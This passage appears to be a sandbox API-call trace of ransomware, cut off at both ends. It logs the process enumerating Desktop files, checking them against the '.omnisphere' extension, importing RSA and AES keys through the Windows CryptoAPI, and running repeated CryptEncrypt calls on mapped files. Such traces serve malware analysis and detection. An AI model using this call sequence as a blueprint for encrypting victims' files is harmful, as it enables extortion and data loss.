dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.954] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0162.955] CloseHandle (hObject=0x39c) returned 1 [0162.955] GetProcessHeap () returned 0x1600000 [0162.955] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a180 | out: hHeap=0x1600000) returned 1 [0162.955] GetProcessHeap () returned 0x1600000 [0162.955] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165fbe8 | out: hHeap=0x1600000) returned 1 [0162.955] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa362fcc0, ftCreationTime.dwHighDateTime=0x1d4d27f, ftLastAccessTime.dwLowDateTime=0xd85adb0, ftLastAccessTime.dwHighDateTime=0x1d4cb4a, ftLastWriteTime.dwLowDateTime=0xd85adb0, ftLastWriteTime.dwHighDateTime=0x1d4cb4a, nFileSizeHigh=0x0, nFileSizeLow=0x487c, dwReserved0=0x0, dwReserved1=0xf5, cFileName="0YKCZvD.wav", cAlternateFileName="")) returned 1 [0162.955] GetProcessHeap () returned 0x1600000 [0162.955] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x56) returned 0x163da78 [0162.955] PathCombineW (in: pszDest=0x163da78, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="0YKCZvD.wav" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\0YKCZvD.wav") returned="C:\\Users\\FD1HVy\\Desktop\\0YKCZvD.wav" [0162.955] StrStrW (lpFirst=".omnisphere", lpSrch=".wav") returned 0x0 [0162.956] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\0YKCZvD.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\0ykczvd.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.956] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=18556) returned 1 [0162.956] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x4358, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0162.956] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0162.956] GetTickCount () returned 0x1168787 [0162.956] GetTickCount () returned 0x1168787 [0162.956] GetTickCount () returned 0x1168787 [0162.956] GetTickCount () returned 0x1168787 [0162.956] GetTickCount () returned 0x1168787 [0162.956] GetTickCount () returned 0x1168787 [0162.956] GetTickCount () returned 0x1168787 [0162.956] GetTickCount () returned 0x1168787 [0162.956] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] GetTickCount () returned 0x1168787 [0162.957] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668460) returned 1 [0162.958] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x16394e8) returned 1 [0162.958] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0162.958] CryptDestroyKey (hKey=0x16394e8) returned 1 [0162.958] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0162.958] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x487c, lpName=0x0) returned 0x380 [0162.958] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x487c) returned 0x1480000 [0162.959] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x16681b8) returned 1 [0162.959] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639868) returned 1 [0162.959] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0162.959] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0162.959] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.959] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.959] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.959] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.960] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.961] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.962] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.963] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, 